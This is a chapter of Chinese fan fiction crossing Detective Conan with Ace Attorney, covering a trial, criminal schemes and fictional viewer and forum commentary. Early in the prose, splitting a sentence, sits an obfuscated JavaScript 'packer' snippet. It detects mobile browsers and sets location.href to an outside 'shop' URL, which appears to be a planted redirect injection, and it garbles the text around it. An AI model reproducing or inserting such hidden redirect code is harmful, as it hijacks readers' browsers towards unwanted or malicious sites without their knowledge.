宫野明美重复了一遍:“松田警官可以证明佑希上过船……等一下!”她和舟桥佑希同时震惊地回头:“——你是怎么听见萩原警官/研二说的话的!!!” 松田阵平一指舟桥佑希:“你刚才不是说话了吗?我猜的。萩平时推理什么流程我背都背下来了。” 哦卧槽有发小确实牛逼。舟桥佑希鼓掌,看见对面的阳光男鬼更阳光了,笑得花枝乱颤,有点想学除灵。影山茂夫救一下啊(什么)。好在萩原研二很快调整好情绪,回归正经态度:“那么,既然舟桥小姐知晓星野季沙和松本俊一之间的矛盾,检方认为,被告人出于为星野季沙小姐的同情,在明知星野季沙可能对被害人松本俊一造成伤害的情况下依旧进行灵媒,主观上可以明确认识到后果,客观上也造成了被害人死亡,主客观相统一,依照法律应该处以无期徒刑。考虑到被告人舟桥佑希犯案时未满十八周岁,可处以缓刑。” 萩原研二摊了摊手。舟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13048920|121598||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 桥佑希回头看向宫野明美,这个女人其实在萩原研二做陈词时就已经察觉到不对,也很快意识到自己走进了死胡同——近路就是绝路啊。舟桥佑希看见她低下头,平静地说:“……你看,两句话就堵死了。甚至研二还不是专业的检察官。当然,您毕竟也不是做律师的,我没有要责怪您的意思……只是想从这方面论证,我为什么选择去寻找真相。”是“我”,而不是“我们”。舟桥佑希心想,我只不过是从逻辑和理性层面选择了对自己收益最大的选项,但我面前的这两位警察可完全不同。他们只会找出真相,只会奉行正义。因此我们看似追求的目标相同,沐浴在同一片阳光下,脚下的影子却朝向不同的方向。到了不得不分道扬镳的日子,怕是会产生可怕的冲突。不明朗的未来中,灾厄的幻影时隐时现。 似乎是感觉到气氛不太妙,松田阵平说不出花言巧语,只是直截了当地对舟桥佑希说:“过来,我给你看个东西。”随即在手机相册里划来划去,“……找到了,你看。” 舟桥佑希疑惑地看过去,随即吓了一跳,简直是今天一天里情绪波动最大的一次:“给我把他换掉!” 松田阵平:“啊?” “换掉!!!!不能是他!!!!”手机相册里的人金色蜷曲长发,深色皮肤,笑眯眯地注视着镜头,一想到牙琉雾人给自己辩护,舟桥佑希吓得差点飞起来,“我要成步堂龙一!!!!!!!我要成步堂!!!!!” 松田阵平似乎没想到她反应这么大:“啊?谁?成步堂?这,这能换吗?” “换!必须换!” “感觉换成成步堂龙一有点难,可能换成御剑怜侍或者一柳弓彦比较可行……” “那也行!只要不是牙琉雾人——” “……等等?/你刚才说谁?” 舟桥佑希有点懵:“御剑怜侍?” 松田阵平也很懵:“牙琉雾人?” “小佑希。你看错啦。” 二人大眼瞪小眼片刻,一旁围观的男鬼已经看透一切:“小阵平给你看的是检察官,牙琉响也。” ……是牙琉雾人的弟弟。不过两个人长的真的很像。 萩原研二继续解释:“这次负责检方的是牙琉响也,一个初出茅庐的新人检察官,你是他的第一案。唉,我的错呀,本来想着给你看看检察官是个新人叫你安心的,没想到吓到你了,我的错。” 舟桥佑希摇摇头,示意没关系,对面松田阵平已经放松下来开始扯淡:“所以你是要成步堂辩护是吧,可以,我去请。我刚才还以为你要把检察官换了,还换成个律师,我心想检察官也是被告人可以换的吗……”刚才都准备出了拘留所大门就去逮干卧底的同期,走后门也给佑希换人(降谷零:给你当同期真费劲)。他说的轻松,余光瞥见舟桥佑希却很凝重一般。 她确实有些顾虑。 “新手检察官牙琉响也的第一案”……在原作中简直是分水岭一般的案件。 或真敷天斋之死,大魔术师或真敷天斋被枪杀于病榻之上;疑犯是他的两位高徒友画与植说,案件的结果决定着师父魔术继承权的归属。 离奇的是,传奇律师成步堂龙一在辩护时提交了伪证,被新手检察官牙琉响也当场揭发,失去律师资格;被告友画以一场魔术逃之夭夭,杳无音信。一瞬间,追求真相的律师沦为破坏法律的罪人,这场案件成为法律的黑暗时代的象征之一;处于业界巅峰的剧团与法律事务所就此分崩离析,连带着无数人的人生轨迹就此改变。 这就是那个把成步堂龙一从律师位上拉下来的案件,同时也象征着法的黑暗时代到来。虽然眼下无论是或真敷天斋还是或真敷美贯都不曾出面,然而“引导伪证”、“牙琉响也第一案”、“牙琉雾人参与”,已经是要素齐全,陷阱已成,只等蓝色刺猬头无知无觉地踏进去。舟桥佑希想起绫里麦尔丝说,希望法的黑暗时代快点结束——那为什么不试试把它扼杀在摇篮里?就,只是试试…… “不。还是不要请成步堂龙一了。” 经过深思熟虑后,舟桥佑希对松田阵平说,“其他的随便你。只是不要请成步堂龙一,不要牙琉雾人,不要王泥喜法介……只有这三个不能。” 松田阵平慢慢地问:“有什么说法吗?牙琉雾人就算了,一听就和那个检察官沾亲带故的,怎么突然又不请成步堂了?王泥喜法介又是谁?” “王泥喜法介现在还是牙琉雾人的学生,成步堂龙一(未来会)是牙琉雾人的‘挚友’。……你不会丧良心的把快死了的神乃木庄龙放轮椅上推出来吧?”舟桥佑希避重就轻,用真相撒了一个谎,故意调侃缓解气氛。松田阵平大概听出来了,倒没有追根究底,很深地看了她一眼,叮嘱几句后离开了。舟桥佑希瘫倒在椅背上,长长地舒了一口气——宫野明美看着她,只以为孩子是累了。不过舟桥佑希想的其实是: 雾人老师!你坑我好苦啊! 都是牙琉雾人干的。 显而易见。 在完成计划,松本俊一死后,拉娜唯通知了水无怜奈可以开始报道松本俊一与星野季沙的恩怨纠葛,煽动舆论氛围——这是雾人计划的一部分——她半是赞许半是哀怨,似笑非笑地看着牙琉雾人:“得罪你真可怕啊?” 只不过是拒绝了一个小小的新手律师递交的简历而已……谁成想,一个大财阀就这么死于小律师处心积虑的谋划之下?而且死后也身败名裂,不得安宁。扪心自问,牙琉雾人这一步走的非常好。唯一的一个问题,范围太大,波及到拉娜唯的小号了。这不好。她正想着怎么把佑希捞出来,却听见牙琉雾人轻轻地说:“还没有开始……我准备的一切,那么多的努力,忍耐——还在后面。” 这声音令拉娜唯感觉到一丝恐惧。她很久没有感觉到恐惧了——而这恐惧甚至不单单来自于牙琉雾人这个“人”,而是“未知”——她忽然感觉有什么脱离了她的掌控,甚至不能被她预判到。自己忽然变成了猎物。在这个深夜中她回望牙琉雾人,对方没有看她,而是背对着自己,面朝落地窗。东京的灯火下,牙琉雾人像是刚刚自伊夫城监狱逃出的爱德蒙邓蒂斯。为什么?拉娜唯在脑中过了一遍时间,彼时距离自己遇见牙琉雾人还不足半月,他这样深重的怨恨由何而来? 她不知道。像是夜空中升起了她不能理解的黑星。 52.老师你为什么还活着 ——时至如今打猎也是一项颇为受人喜爱的活动。它完美地满足了人类的征服欲,深藏于衣冠之下迫切需要被满足的扩张心理。当然,举枪,考验准头——这样的要求对于衣冠楚楚的大人物们还是严苛了一些。所以顺理成章地改换鹰猎,犬猎。看着灵动敏捷的掠食性动物在自己的手下为己所用,当然也很有观赏性。 【我靠我靠,刚才官方忽然说要出新剧场版了】 【???这么急?】 【与其说是新剧场版还不如说是OVA?只是为这个OVA临时申请了院线放送。】 【哦这样就好理解了,之前和鲁邦三世的联动也是一个类似的OVA吧,看来是标准操作了,只有自己人就剧场版,带其他作品角色就申请OVA】 【就是安排的太紧了。还是官方太能压时间啊?看了一下安排,目前的剧集可能就能放送一个月不到,马上追OVA,开学的开学上班的上班,还有的和旅游考证计划撞了,群里一片哀嚎。】 【对啊,莱姐和真理都好自搭,佑希的衣服还真不好速赶呢。赶线下的朋友们你们有福了。】 【这次还有超前观影场吗?】 【有,反正还是那么几个城市,估计下周一工作日就官宣抢票时间,下下周开抢。要我说,这次的票说不定会好抢一点,毕竟很多人都来不及去,酒店也没订,自己城市里的电影院也有档期,实在对官方影厅有执念就去收一份伴手礼好了。难道这就是他们把时间压的这么紧的原因?】 【我估计还是两边联动要处理的事太多了吧。对于巧舟那边来说你忽然要联四部的两个限定角色跟炒冷饭一样,肯定要多花点时间的。】 【对哦,说起来响也运气也真好,刚出道直接蹭剧场版,不得翻红啊(】 【响也这么早就上班了?】 【响也今年多大了?】 【查了一下,十七岁?】 【如果这是他的出道战的话那他就是十七岁。】 【……老天,这么年轻】 【虽然平时看死小觉得新一和快斗这么点大的孩子扛大梁已经很厉害了,但仔细想想隔壁响也十七岁直接工作……更震撼了。】 【而且咱们响也在当检察官之前可不是死读书,他还当过摇滚乐队主唱呢。】 【响也虽然是很天才啦,但是原作中岁数最小的检察官还是小冥。小冥在美国的时候十三岁就当过检察官了哦……虽然只是个背景板设定,玩家没有真的去打一个十三岁小姑娘。】 【妈呀,十三岁???开EVA都嫌年纪小啊】 【EVA还是别开了吧(】 【还没玩到四部,响也这人咋样?】 【好孩子】 【加一】 【在众多的猫猫检察官里响也是狗味最重的那只。】 【原作里和喜子打就像小动物闹着玩……谁家律检上场对线还管人家叫大脑门这种爱称????而且响也胜负欲也不重,经常给辩方打助攻,人很好的】 【但是响也人好,他哥哥可没那么好……】 ——看到这里,拉娜唯后知后觉地意识到目前为止,牙琉雾人都还没有高强度地出现在观众视野中。上一次见到贝尔摩德的时候镜头被切走了,这么一看,他的首次出场竟然来源于舟桥佑希的误认。可能后面还要交代一下佑希为什么如此抗拒牙琉雾人,抗拒这样一位,至少现在看起来还没有任何问题的律师。她收回思绪,短暂地留意眼下自己身处的环境,以及身处的猎场。这片土地本来就不大,更不太可能孕育什么大型猎物,顶多捉一捉兔子。兔子好。兔子不会伤到只是来玩一玩,重点还在于议事的人们。 现在是松本俊一死亡前三天。 拉娜唯此时站在青色的山坡上。炫目的太阳展现灼热的光晕,像一片明亮的白色面纱。比格犬的声音十分响亮,回响在山坡上,耳边听见振翅的声音。她手臂上的哈里斯鹰对上她的视线后,慌张地炸毛,看起来十分焦虑。拉娜唯没有为难小动物的意思,也知道它害怕自己,对于捕猎不抱希望。 她知道松本俊一要死了。 首先,拉娜唯不可能真的去兜售她带来的不老药,显而易见。她早上卖出一份,当天中午朗姆就该喜气洋洋地上报,能拖到凌晨自己的尸体(可能还有雾人的)没出现在东京湾里都算琴酒旷工。药只是一个幌子,而她要借机谋求更大的利益,此事容后再议。当然,能保证她不被恼羞成怒的卖家合伙弄死,肯定也不能让他们知道自己压根不准备卖。 但是现在松本俊一知道了。 他吓得魂不附体,钱再多,也得罪不起权。因为松本俊一随时可能投诚于卖家,并且出卖拉娜唯,所以他必须被灭口。 这个活生生的,在山坡上放置的座椅上吃喝谈笑的人,其实已经是一个死人了。拉娜唯远远地看着松本俊一,并没有任何感慨。她只是想,松本俊一死,其实是结果反推过程。他是因为得知了不该知道的秘密所以死去的。但既然是秘密,他又为什么会得知呢? 其实他会死,根本原因只是,牙琉雾人想要他死,而拉娜唯也懒得救他。仅仅如此。好比说先射箭后画靶,他已经注定要死了,才为他被杀找一个过得去的理由。有人在她这儿公报私仇。拉娜唯心想,与此同时回忆起牙琉雾人昨天状似无意地提及,松本俊一想要出卖自己,他已经在处理了。说来非常轻巧,仿佛真的只是工作上出了个不大不小的岔子。 随他去吧。只要牙琉雾人不影响她的最终目标就好。 她的目标是—— 【让我来品鉴一下OVA前的过场动画,,,哎呀我去这给我干哪来了?】 【那个是谁啊?眼熟……】 【之前游轮剧场版里的那个财阀?】 【还有一堆动物面具耶……我靠,动物园???】 【魔快打赢复活赛了???(喜】 【这两伙人纠葛在一起到底要搞什么乱子啊……】 【……等一下,那边山坡上的人是?】 一场骤雨忽然间席卷了整个山坡。它来的急,没有预兆,一场大风沿着山脊逼近。而正当这些西装革履的“猎手”们极力掩饰着狼狈,即将登上保姆车前,他们心有所感,回头望去。他们看见,时间宛若加速般,白日迅速地逝去,巨大的白色云层正在被扯破。西南方向淡黄色的天幕下,云朵正蓬头垢面参差不齐地冲着他们奔来,风带雨,雨携风,风时欢时静,雨时紧时松。在这片宛若上天的启示下,一个人依旧站在山脊上。雨中传来犬吠。 没人看得清此人的面容,此时毕竟天光大暗,如同世界末日前天使吹响号角,即便是梦也到了尽头。但就在这样的天空之下,青色闪电落下,照得她的脸透亮。 她沿着山脊跑了起来。 说来奇怪,这一刻现实中台风也忽然席卷,将这片国土的沿海城市笼罩在它漆黑的羽翼之下。不过现在是雨季,台风来的勤来的急也没什么。这位年轻的女高中生熟门熟路地意识到今天不必去上学了,心安理得地坐在电脑前,打开平时不能及时收看的动漫更新。看到这里时,天空同样一记闪电下来,家中的灯全部熄灭,只有笔记本电脑依旧消耗着电池,屏幕忠诚地运作着。一片黑暗中,她注视着屏幕里跑动的身影,穿梭在雨幕之中。那只是一瞬间的事。但她如此清醒,如此聪明,知道这是阿莱塔。屏幕的光也像闪电一般照亮她的脸。青色闪电。梦中的青色闪电。 ——“我想她一定是难以下山。” 在众人之中,一个声音传来。沉稳,可靠。所有人齐齐回头,一个有着土地般肤色,身材厚实魁梧,头发花白但看起来依旧强壮的男性安抚地笑了笑,眼镜在黑暗中闪过暗光。他一动,周边的人就不得不让开来。他主动道:“我去把她带下来吧。” 严徒海慈说。 这位警察署署长裹在西装下的每一条肌肉都在诉说着他并未疏于锻炼,这是能够被认识到的共识。谁也没有反对,于是他缓慢而坚定地脱离人造物的庇佑,踏入大自然的暴风中。他脚下的土地震颤,爆裂,生出回响——自始至终,他没有一丝慌乱摇摆,无论风怎样澎湃汹涌,他如岩石般岿然不动,一双眼睛闪闪发亮。 当严徒海慈攀登上山脊,狂风笼罩着他的整个身躯。他头顶的正上方是一片无云的黑暗,如同深水位的环礁湖,乌云是它的海岸线。其中的每一处黑暗都共鸣着这片土地上同样的动荡。他以为自己会看到一个惊慌失措的女人,亟待拯救的受害者,像他曾经的每一个功绩那样。他错了。在天地的交界处,那个女人就在这站着,好像从世界初生起就在这里了,什么也不能夺走她的志向。比格猎兔犬在她的腿边打着转儿咆哮,而她静谧无声。 严徒海慈看向拉娜唯的时候,有一刻非常震惊。他的黑色眼睛看着拉娜唯的金色眼睛,然后视线才转移到她的左手上。 她的手上沾着土。有个棕色的东西偶然还不住地抽动,就像她捉住了一颗心。那当然不是一颗心。那是比格犬赶出的一只兔子。 严徒海慈惊叹道:“您真善于捕猎。但是,这样的事交给您的鹰犬去做就好了,经过自己的手,又危险,又脏污。来,我带您下去。” 就是你。 拉娜唯深深地看了他一眼,手搭上严徒海慈的臂弯。光线昏暗,山坡上全是兔子打的洞,稍有不慎或许就会崴脚,二人搀扶着走路还能有个照应。 你。严徒海慈。 就是我的目标。 这是她第一次受到严徒海慈的庇佑,下一次,也是最后一次,就是在松本俊一死后。记者们调查出当日进出松本俊一家中的人员包括这位明面上的“外国剧作家”阿莱塔——她不过是顺带脚的情报,几乎是这些人中的nobody。更吸引媒体目光的自然是动物园在政界的高层,以及这位警察署长严徒海慈。当日法院传召,记者堵在门口,长枪短炮和激烈的摄像机快门声沸反盈天围了个水泄不通。拉娜唯尽力捂着脸,而严徒海慈身形高大,竟然多多少少帮她分担了一些关注。严徒海慈伸出手臂,尽可能将她与四周的记者相隔绝,艰难地破开人群向前走。而在嘈杂的人声中,她听见严徒海慈压低声音,语气还是轻快,笑意盈盈: “我知道这个新闻是你放出去的。” 拉娜唯听到了。不过她一刻也没有停顿,甚至没有回头,好像什么都没听见,继续向前。这一刻她不为严徒海慈的威胁困扰,想起的是另一件事。 一柳万才和严徒海慈算不上政敌。牙琉雾人说。彼时还是一切尚未开始。他笑了笑,对拉娜唯说,但如果一柳万才看着严徒海慈倒台,却不上去踹一脚的话,那他一定是圣人。您觉得一柳万才是圣人吗?嗯?他拿出了教学生的态度,拉娜唯心想,我脑门有那么大吗。她懒洋洋地开口:严徒海慈有污点。所以呢?你要联络宝月巴?当年的事涉及的人很多又分散,那可要费很大劲。 牙琉雾人说:为什么要我们去找呢。谁要调查严徒海慈,就让谁去找吧。 成步堂龙一?拉娜唯问。牙琉雾人回避了这个名字。 【:我靠】 【:我靠】 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【为了揭穿严徒海慈伪善的假面而特意将他悬在众人的目光之下吗……这样一来,定罪和审判都由众人一起决断,在这样的情况之下,严徒海慈即便是警察署长也不能左右所有人的意志。真厉害啊。】 【还以为她是防御性守线,只要保住真理不被严徒海慈干涉就好,没想到莱姐直接反将一军把严徒海慈压的焦头烂额了……厉害。】 【能压当然是好事……但如果没压住一定会招致猛烈的报复啊……阿莱塔能遭住吗?其实我感觉她的处境也有点危险的,为了牵制严徒海慈,自己也落到媒体下面了,以身入局,你看她不动声色,其实牵制的也没想象中那么轻松啊。】 【唯一好的一点是阿莱塔显然可以一定程度上干涉媒体,至少不会毫无招架之力。而且比较让人高兴的一点是——我想我们可以大胆假设,阿莱塔是CIA的成员。未必是卧底,甚至和水无都不一定是一条线的……但她们一定认识。】 “在新闻播出后的第二天早上——也就是今天早上,女主播水无怜奈,连同她的同事们一起被堵在演播室里。严徒海慈对拉娜唯说自己知道一切都是她搞的鬼,并不是虚张声势。” “情况的确十分危急。不过就在他们即将破门而入的时候,被赶走了。门口传来了一个女人的声音,非常不客气,疾言厉色。接下来是潮水一般退却的脚步声。安静了片刻之后,门重新被敲响了。没有人敢开门,生怕是一个圈套。最后还是水无怜奈站了出来,打开门。” “没有黑压压涌上来的人,没有扭曲的面孔,站在门口的只有一个女人。” 说到这里,赤井秀一顿了顿,说:“离这些人都远点。” 他的话头截止的莫名其妙,欲盖弥彰地偏过头,照例来说他的丝滑小连招应该是跟一根烟,但碍于此刻在场的人,抬起的手已经到了胸口又放下了。江户川柯南歪了歪头:“……她长什么样子?” “没有照片。” 没有照片我咋绕开她。江户川柯南心中冷酷一笑,呵呵,不就是n选三吗,大不了全拆成三选一,一加一会做难道一加二就不会做了吗。算了早习惯了。 他们在这里碰见实属意外,柯南是在妃英理查出SL-9事件另有隐情后侦探瘾大发作死皮赖脸当小挂件好不容易混进来,此时被塞了一个逮捕君坐高脚椅上看饮水机,抬眼一看妈呀FBI打进来了,霓虹要完啦(棒读)。 知道您卧底工作差不多要结束收网了,但是何至于如此明目张胆?红方第一脸T的含金量还在上升。 眼看着赤井秀一又要不说话装高手,江户川柯南掰着手指开始总结,这位探员先生这次来算是一口气告诉了他三瓶酒的存在。基尔,波本,波士力娇,相当有效率;但是三瓶哪瓶都不给他个准话,又很没效率(诋毁中)。一以贯之地让他回避,反而让他摸不清立场。当然,困难并不是阻碍他前进的理由;相反只会激起他的斗志。 在他的心音提及那瓶新酒的时候,屏幕之外的弹幕疯狂地刷了起来。 与此同时,在顶楼的演播室里,一切几乎回归了平时的情况。该上班上班该工作工作,没有什么差池。然而时常还是有同事暗地里打听,问水无怜奈,早上救场的人是你的朋友吗。水无怜奈不肯定也不否定,同事于是当她默认,不过是不方便说。她回想起早上自己被堵在演播室里,几次三番,心想如果真的丢了工作,乃至卧底工作真的保不住也罢,如果事情真的发展到那个地步,至少要先把身边的人护好。千钧一发之际,她肌肉紧绷,箭在弦上—— 然后她听见门外的声音。紧绷的力气一瞬间松懈下来,却没有劫后余生的快乐,只有深深的疲惫。打开门时,拉娜唯看起来精神相当好,对水无怜奈致以问候的声音那么精确,冷静,甚至突兀。像冰块滑进酒杯,完全没有人情味。有一瞬间,水无怜奈恍惚的想,波士力娇这样算不算帮助了我?但很快她身为CIA情报员的素质立刻大声地警告自己,你的喜怒哀乐正在被她掌控,当心,当心。于是出于坚定自己意志和明确精神的想法,她忽然自言自语: “她并不是我的朋友。” “什么?” 水无怜奈的同事已经走出去几步,忽然听见背后似有若无的声音,以为在叫自己。回过头去,只看到这位女主播微笑的面容,像她工作时惯常的表情一样完美,挑不出任何错。 53.真服了蓝牙键盘又被橄榄了 虽然拉娜唯的嫌疑明面上看一点不小,上帝视角看更是罪魁祸首(疑似),然而既然有人想保她,那被放出来也不是难事。照理来说拘留之前应当做个体检,于是在一种指导思想的带领下,拉娜唯成功以心率过高疑似心脏病先兆外加体温偏高被允许先回家静养,丝毫不提她事实上可以硬吃火箭炮后坐力的超绝身体素质和看热闹不嫌事大的精神状态。当然,这也是需要时间的。前后大概折腾了一个月不到,想必无论是江户川柯南还是成步堂龙一都已经有了进展。 给她体检的年轻医生目不斜视,昧着良心下了判断书。拉娜唯瞥了一眼这个医生被捂得严严实实的脸,心中大概有数了。她踏出房门外的一瞬间,五颜六色将整片洁白替代。就好像一个先天性听障人士终于得到了妥帖的救治,重生在这个世界上。 她同时听到看到很多。她看见一柳万才和他的下属站在拐角处,低声商量着什么。他为拉娜唯的脱身出了大力气,所以二人更不该做出一副很亲热的样子。一柳万才埋在须发之间的一双眼睛投来的一瞥,是二人至今的全部接触。她听见另一边房间中宣布严徒海慈身体各方面指标一切正常,从此刻开始将人身交付于检察院;在一个月内,于高等法院接受通常审判。而她从这些声音中走出来,走出来。 外面很热。 拉娜唯恍惚了一下,现在该是夏季吗?距离叶樱院的那一场雪至今,似乎没有过去多久。证据大概是身上还套着不算轻薄的衣物。她还没有转过头,就先一步听到声音。 “你身上套这么厚衣服,难怪体温高。难道这是你故意的?那你真的很拼。” “我有这个必要吗。”她先回答,才转头。有些无奈地看着来人。那个昧良心的医生显出她的本音来,只是没有在大马路上当着全街人改头换面,算最后的谨慎。贝尔摩德说:“我不明白。明明这种事掏一点钱,买一个医生,甚至不要医生,一个听得懂人话会照着干的普通人不就够了?为什么非得我乔装打扮,就为了说一段没营养的话。” “因为在这里一切必须得符合规定。私底下流程多么不合适都没关系,但是明面上一点点差错都不能出。”拉娜唯回答,“有些我们做不到的事,一柳万才这样的人可以轻松地做到;相对的,有些我们犯了还可以被补救的错,对于一柳会长来说踏错一步就完蛋了。”尤其是在这样又小又关键的地方。拉娜唯心想,虽然说起来有些轻巧,但雾人在当老师带学生这一块还是相当有本事,以至于拉娜唯现在回过头去看,也能熟练运用学到的知识,评价酒厂像个手里捏着导弹发射器的婴儿:同时拥有极佳的战斗力和一盘散沙的管理能力。多的不说,只看一柳万才知道方方面面打点仔细不出差错,给拉娜唯体检的医生都要贝尔摩德;再看酒厂,在原作中刚好做出了错误示范,恰恰好栽在楠田陆道这样一个“nobody”——他没有酒名,不要说是行动组了,说不准连正式成员都不算,但偏偏又小又关键的环节上。 就按照原作的人选,不要说戒备森严地派琴酒派朗姆了,哪怕换个基安蒂、科恩——哪怕你说你酒厂已经漏的像筛子,十分不幸,挑了波本上,赤井秀一也不能假死的如此顺利(换了波本没准还要比以上几位更难打,国仇家恨私人恩怨)。 贝尔摩德挑了挑眉,笑了一下:“你好像对我们组织不是很满意?” 拉娜唯心想那何止是不满意,简直是懒得喷,应付几句想走。在背后听见贝尔摩德拖长了声音问她:“——但是你的体温真的不正常。真的不需要看医生?” 她没有等到回答。那个黑色的瘦高的身影不回头地离她远去,贝尔摩德饶有兴致,大概想到了什么,也施施然转身。 [主题]泥砖菜盘——仓院驻米花市律师事务所 [版务组通讯]精品贴特辑—— 大家好我是fudo!欢迎来到死小重置版联动专区! 为了便于各位侦探各位律师,各位佛伯乐公安刑警检察官灵媒卧底被害人被告人查阅联动相关讨论及产出,我们特别设立该专区! [剧情思考]死小怎么还在玩政斗 1# 如题。 死小怎么还在玩政斗?而且越玩越狠,难道零执的政斗不难看吗? 2# 零执又没扑。 3# 对啊。难看归难看,你就说赚不赚钱呗。 4# 零执的票房不全靠零撑起来的?或者说死小本篇剧场版不一直是人带剧情? 5# 但是感觉重制版不一样吧。因为OVA的预告已经发出来了,就是直接连在目前在播的TV剧情后面。既然TV里已经加政斗了,那我觉得为了观感,OVA反而不会加政斗。 6# 我说句公道话,感觉重制版TV还是想老老实实讲故事的。你别说它手法高不高明,起码态度还过得去,画面也下功夫了() 就好比说这次TV,其实可以看出来重制版没有把高人气角色抬出来就万事大吉的意思,不然早把御剑端出来了。你想想说联动联动,说到底还是死小请泥砖菜盘,说的糙一点泥砖菜盘家拿出来联动的角色都算是远嫁,死小真想把御剑抬出来有的是机会。但是人家还就没抬:虽然也有一部分原因是他们觉得自己家汐华真理真能扛住这个主视角,或者说他们“想让真理抗住”这个主视角——说白了就是在官推呗!但是真要塑造的立得住那大伙也乐意看啊不是?多个真理多个佑希帮忙负担一下零和志保的调价,他好我也好。反正明眼人都看得出来qsgc最爱的还是男主。扶个小白毛来帮亲儿子扛大梁拓展剧情也没什么大不了。 但是,除开这一部分小九九,既然重制版都放掉御剑了——复苏的逆转甚至本来就带御剑,结果重制版铁骨铮铮,硬要把响也拉出来去当这个检察官来和妃英理打对手戏,硬要扶真理和佑希两个新人物,等于立军令状:宁可不要御剑怜侍和安室透的人气来掩盖我的瑕疵,我要从他们的光环下走出来,去讲一个不完美但完整的故事。 7# 哦对说起来,这次我觉得挺奇怪的一点就是真理真的被抬得超猛啊。一柳万才一个检察院委员会会长,他要调警察来帮忙调查,选谁不行?严徒海慈都被他送进去了,啥样的警察他压不住?为什么偏偏挑真理来? 8# 这个我会!我来答! 因为一柳万才显然还在犹豫。 大伙估计看不出来,觉得一柳万才已手眼通天,只要这会把严徒海慈踩死就天下无敌,所以带入一柳万才,第一反应估计都是立刻冲上去落井下石—— 这是错的。行百里者半九十。半场开香槟是不好的,黎明前最是黑暗。 做一个合格的政治家,你不该看最高的好处。你该看最大的风险。好处自然明显,法律体系都归你一柳万才所有,多么大的诱惑;然而他如果没有成功呢?或者说,要来到怎样的结局,才算一柳万才彻底成功了呢? 我们站在汐华真理的视角,阿莱塔为了能保住他的行动还有可斡旋的范围,或者说为了间接保佑希,花了大力气把严徒海慈拽进检察院关起来,当然是感动;站在阿莱塔的视角,更是惊险刺激,夜半临深潭,稍有不慎就会被严徒海慈拉下去;但是从一柳万才的视角来看呢?天底下凭什么有这样好的事被自己捡到?素来的政敌忽然被一个名不见经传的女人拉下马,多像一个陷阱? 而对于一柳万才来说,什么叫赢?只有能确保严徒海慈一辈子关在监狱中不能翻案,或者干脆死掉,才算赢。否则严徒海慈一定会报复他。只要严徒海慈还能喘气,就一定会报复他。而应对这样一个高能人士的报复,显然是劳心劳力又毫无收获的。如果我是一柳万才,就不会押注,或者说压非常少的注,方便抽身,或者……反捞一手。 简单来说,就是一柳万才准备什么都不做。如果阿莱塔真的爆种直接把严徒海慈干掉了,他就跟上踩一脚;如果阿莱塔不行,他就顺水推舟把阿莱塔送进去,表面上继续保持着和严徒海慈的塑料同事情。 就像以往一样。他都僵持了这么多年了,再僵持下去又如何。胜率只有百分之九十九的话,和没有有什么区别?不能直接将敌人击倒,就只能忍耐。 既然他的目标是这个,那先射箭后画靶。他现在就需要一个能力强的非嫡系来做:出嫡系,等于明牌跟严徒海慈叫板,和本人上去没什么两样;能力不够强,又显得自己的水平差劲。几个条件框下来,虽然多多少少有点刻意吧……但是真理确实是好选择。如果让我来选,也只能是他。 9# 怎么说呢……重制版还挺有内味的(? 其实我真觉得比起本篇已然成为红方过家家要逼格不要逻辑的剧情,还是很喜欢看重制版红黑拉锯的……尤其是黑波骑脸,看着真是又惊悚又期待ww 其实本人最欣赏的状态是红方时常将军,黑方偶尔一将军,有来有回才好看。本篇反正是不用惦记了,但是我私心还是很想看重制版黑方能将军一次……一次也好呀。 10# 难吧。黑方将军肯定不可能出来扫一梭子人体描边走了,他将军肯定要收人头,或者不收人头带走两个,前者容易让粉丝心碎,后者容易过不了审。 11# ,不要说的这么奇怪啊,什么叫过不了审 12# 咋了,搞刑讯逼供肯定过不了审啊! 13# ……哦你说的是这个,我还以为是我以为的呢 14# 麻烦把你以为的放到隔壁同人版,写了记得踢我 15# 别说新一集TV播出,黑波真霸榜隔壁同人版了。虽说有本篇人气垫着,不算新人,但是重制版在叶樱院出场一次冲日榜第一,正脸进主线冲月榜第一还是太狠了…… 16# 我天哪这难道不都是黑波应得的,谁家好人一登场库库下药啊,这不纯粹给同人版递素材,还三次都下的未成年,第一次药佑希第二三次药柯南,最支持FBI的一集 17# 第一次下的昏睡药,第二次下的啥来着……? 18# 不记得了,而且其实柯南自己都没把握。那一集人家小孩两头跑,看完佑希找妃英理,找完成步堂找赤井,就这么来来回回踩滑板,出一身汗;晚上让小兰拦住了说体温有点高躺下了都还没反应过来不对,直到身上疼才闹明白,顶着乱的要死的脑袋拖着身子窜到阿笠博士家才没出事。红方少了小哀真的,突然一下难受了好多啊。 19# 打仗就是打后勤啊。小哀现在可不单纯是不帮红方推解药进度,你猜黑波掏的药是谁给的?……哎,说顺嘴了,现在哪里还有什么小哀啊,是雪莉了。 20# 后面那次更生猛我靠,估计是第一次觉得量不够,特么第二次给孩子下的差点当场变回去,还好快斗在,这倒霉孩子找爹不知道咋回事找到隔壁泥砖菜盘片场了,算了不管他——总之这次也算柯南运气好,悄悄戳了快斗(话说这次快斗混进来为什么还在女装啊算了懒得喷),斗子真的好小孩,啥也没想当场放弃行动,跑到隔壁市拨一下头发凹个造型上新闻,假装工藤新一搞不在场证明,同时柯南找个地一缩放倒毛利小五郎硬把预告函的意思延后到明天,你别的不说就说这俩小孩配合帅不帅吧 21# 所以说隔壁同人版黑波干什么都不奇怪。真的。众所周知当一个角色在原作中吃过一片柠檬就会在同人中天天抱着柠檬生啃,由于黑波在重制版的战绩不多但把把生猛,他在同人版已经快被舞成炼铜药王了 22# 真的太坏了太坏了!新一变回去的时候连衣服都没得穿! 23# …… 我早说了联动版没必要开。你看现在和同人版有什么区别。 24# 不不不,同人版哪有剧情版的有创意,有的涛剧情的我乍一看以为什么新作品,请问和原作的关系是? 25# 你作涛剧情的选手向来很有创意,有的你还真喷不了,隔壁楼不是有一个剧情预测相当在线的半仙神婆,搁那占接下来的走向,目前算出来最准的就是监控时间的问题了吧? 26# 